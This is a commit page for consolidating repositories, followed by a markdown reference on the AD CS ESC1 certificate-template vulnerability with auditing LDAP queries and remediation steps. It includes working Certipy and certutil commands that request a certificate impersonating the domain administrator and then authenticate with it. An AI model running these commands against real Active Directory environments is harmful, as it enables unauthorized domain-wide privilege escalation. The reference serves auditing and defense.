Claude 24f816b6a3
Consolidate 22 sibling repos into layered organism structure
Place useful parts of the surrounding repos into sica-fondt by layer, per the
body model (Ada = membrane; brain/endocrine/capabilities/knowledge non-Ada):

- brain/        LLM reasoning + providers (dapr, hermes, MoMoA)
- capabilities/ REPRAG sidecars: hermes tools/skills, dapr tools, parallel
                dispatch, A51 channels, and the OSINT cluster
- knowledge/    LORAG corpus: 754 cyber-skills, agency personas, secure-coding,
                MITRE ATT&CK data
- reference/    defensive threat-reference (C3, shhbruh doc) + AdaYaml parser

License handling: AGPL sources (worldosint, advanced_evolution, mercury,
Reticulum) and GPL DeTTECT are SPEC-only clean-room/port descriptions — no
copyleft code copied. MIT/Apache/data parts copied as working trees.

Safety: shhbruh escape/persistence material and C3 covert-C2 kept as reference
only, not wired into the running organism. See CONSOLIDATION.md.

https://claude.ai/code/session_01UehUqEXXJJCsHoA4voCU5c
2026-06-10 06:53:01 +00:00

90 lines
2.1 KiB
Markdown

# API Reference: AD CS ESC1 Vulnerability
## ESC1 — Enrollee Supplies Subject Alternative Name
### Vulnerability Conditions
1. Template allows enrollee to supply SAN (`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`)
2. Template has Client Authentication EKU (OID 1.3.6.1.5.5.7.3.2)
3. Low-privileged users (Domain Users) can enroll
4. No manager approval required
## Certipy — AD CS Auditing Tool
### Find Vulnerable Templates
```bash
certipy find -u user@domain.local -p password -dc-ip 10.10.10.1 -vulnerable
```
### Request Certificate with SAN (ESC1)
```bash
certipy req -u user@domain.local -p password -dc-ip 10.10.10.1 \
-ca CORP-CA -template VulnerableTemplate \
-upn administrator@domain.local
```
### Authenticate with Certificate
```bash
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
```
## certutil — Windows Built-in
### List Templates
```cmd
certutil -v -template
certutil -catemplates
certutil -TCAInfo
```
### Request Certificate
```cmd
certutil -submit -attrib "SAN:upn=admin@domain.local" request.req
```
## Certificate Template Flags
### msPKI-Certificate-Name-Flag
| Value | Name | Risk |
|-------|------|------|
| 0x00000001 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT | CRITICAL |
| 0x00010000 | CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME | CRITICAL |
### msPKI-Enrollment-Flag
| Value | Name |
|-------|------|
| 0x00000002 | CT_FLAG_PEND_ALL_REQUESTS (manager approval) |
| 0x00000020 | CT_FLAG_AUTO_ENROLLMENT |
## LDAP Queries for AD CS
### Find templates with ENROLLEE_SUPPLIES_SUBJECT
```ldap
(&(objectClass=pKICertificateTemplate)
(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))
```
### Find CAs
```ldap
(objectClass=pKIEnrollmentService)
```
## PowerShell — PSPKI Module
### Install
```powershell
Install-Module -Name PSPKI
```
### Get Templates
```powershell
Get-CertificateTemplate | Where-Object {
$_.Flags -band 1 # ENROLLEE_SUPPLIES_SUBJECT
} | Select-Object Name, Flags, OID
```
## Remediation
1. Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from template flags
2. Require CA manager approval for certificate issuance
3. Restrict enrollment permissions to specific security groups
4. Enable certificate auditing (Event ID 4887)